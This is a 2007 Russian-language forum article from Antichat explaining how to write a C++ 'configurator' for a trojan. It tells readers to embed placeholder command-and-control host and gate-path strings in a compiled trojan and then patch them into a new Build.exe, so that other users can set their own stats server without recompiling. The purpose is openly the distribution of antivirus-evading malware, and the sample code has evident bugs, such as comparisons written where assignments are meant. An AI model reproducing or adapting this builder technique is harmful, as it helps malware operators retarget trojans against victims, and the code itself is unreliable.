ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Пишем конфигуратор[c++]
  #1  
Старый 08.07.2007, 16:14
Аватар для Ky3bMu4
Ky3bMu4
Постоянный
Регистрация: 03.02.2007
Сообщений: 520
Провел на форуме:
1777536

Репутация: 932


Отправить сообщение для Ky3bMu4 с помощью ICQ
По умолчанию Пишем конфигуратор[c++]

Итак, вы написали супер-троя.Трой стучит по стате,непалится антивирусами и т.д. Но вот проблема:каждому юзеру юзающему вашего троя компилить из исходников неудобно! В этой статье я расскажу вам как написать конфигуратор для вашего детища. Всё наше действо будет состоять из 2 частей:

I)Готовим тело троя
II)Сам конфигуратор

Ok, let`s go! (c)

I)
Готовим тело троя.
Компилим трой. Все параметры для отстука по стату(к примеру) должны заканчиваться и начинаться на '_'(нам это нужно будет)
Т.е.
Код:
#define host "_megasite.megahost.com_"
#define path "_/mega777/megagate.php_"
Зачем нам такие длинные имена? Почему бы просто не site.com и /gate.php ? Дело в том, что будем править уже готовый .exe`шник

и "переполнять" там что-то очень нежелательно.
К примеру:
Сделаем site.com, а у кого-нибудь юзера стата на megasite.jino-net.ru , В итоге у него ничего не будет работать.
Теперь я советую переименовать откомпиленый трой в virus.dat(к примеру),чтоб всякие ребята не запускали лишний раз наш ехе.

II)Сам конфигуратор.
Итак тело у нас в virus.dat
Далее буду просто приводить куски кода с комментами.
Объявем 3 глобальные переменные:
Код:
char host[]="site.com";
char path[]="/777/gate.php";
char body[12000];
Для конфигуратора 2 первые параметра нужно брать из Edit`а. Мне ламо приводить всю работу с VCL(тем более, что это

элементарно), поэтому рассмотрим всё на частном случае. Размер body в зависимости от размера файла. Лучше брать размер на

2-3кило больше размера файла.К примеру: вирь весит 15кб размер вы берёте 17000;
Далее:
Код:
DWORD dwBytesRead ,dw ,size , dw1;
HANDLE hFile = CreateFile("virus.dat",GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); 

//открываем наше тело
size = GetFileSize(hFile,&dw); //получаем кол-во знаков в файле
ReadFile(hFile,body,size ,&dwBytesRead, NULL); //читаем тело в наш массив
Так далее самый ответственный момент. Ищем и заменяем наши параметры.Для этого напишем отдельнуй функцию.
Код:
void param(void){
int x=0;
int y=1;
int c=0;
while(body[x]!='_'){ //вот для чего нам нужны были '_'. Ищем параметр.
x++;
}
//мы остановились на символе '-'
x++;
//Теперь мы на следующем символе. Посмотрим что это: host или path
if(body[x]=='s'){ 
//итак это хост. Далее очищаем нужное нам место
while(body[x]!='_'){
body[x]=NULL;
x++;
y++; //чтобы узнать на сколько мы отдалились от '_'
}
//мы остановились на символе '_' .Удаляем его и возвращаемся назад
body[x]==NULL;
x=x-y; 
//теперь заполняем наш параметр
while(host[c]!='_'){
body[x]=host[c];
x++;
c++;
}
}
else {
//значит это path. Действия теже самые. Только заменяем host на path
while(body[x]!='_'){
body[x]=NULL;
x++;
y++; //чтобы узнать на сколько мы отдалились от '_'
}
//мы остановились на символе '_' .Удаляем его и возвращаемся назад
body[x]==NULL;
x=x-y; 
//теперь заполняем наш параметр
while(path[c]!='_'){
body[x]=path[c];
x++;
c++;
}
}
}
Ну и концовка:
Код:
param();//параметра у нас 2
param();
HANDLE hFile1 = CreateFile("Build.exe",GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_NEW ,FILE_ATTRIBUTE_NORMAL,NULL); 
//создаём новый файл
WriteFile(hFile1,body,size,&dw1,NULL); //пишем в него
CloseHandle(hFile); //закрываем оба файла
CloseHandle(hFile1);
Ну вот, в принципе , и всё. Это всё на С++ , но при желании можно переписать на любой язык или переделать не только для параметров статы.
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Пишем простого Irc бота на Pel ENFIX PHP, PERL, MySQL, JavaScript 10 19.06.2007 21:01
(Статья) Пишем флуд для чата http://chat.scn.ru/ Paranoik Чаты 14 04.07.2006 17:32
Пишем свой BIOS для x86 компьютеров OverClocker Схемы и программы 1 06.03.2005 11:21
Пишем MailBomber на перле foreva Чужие Статьи 3 08.02.2005 07:13



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ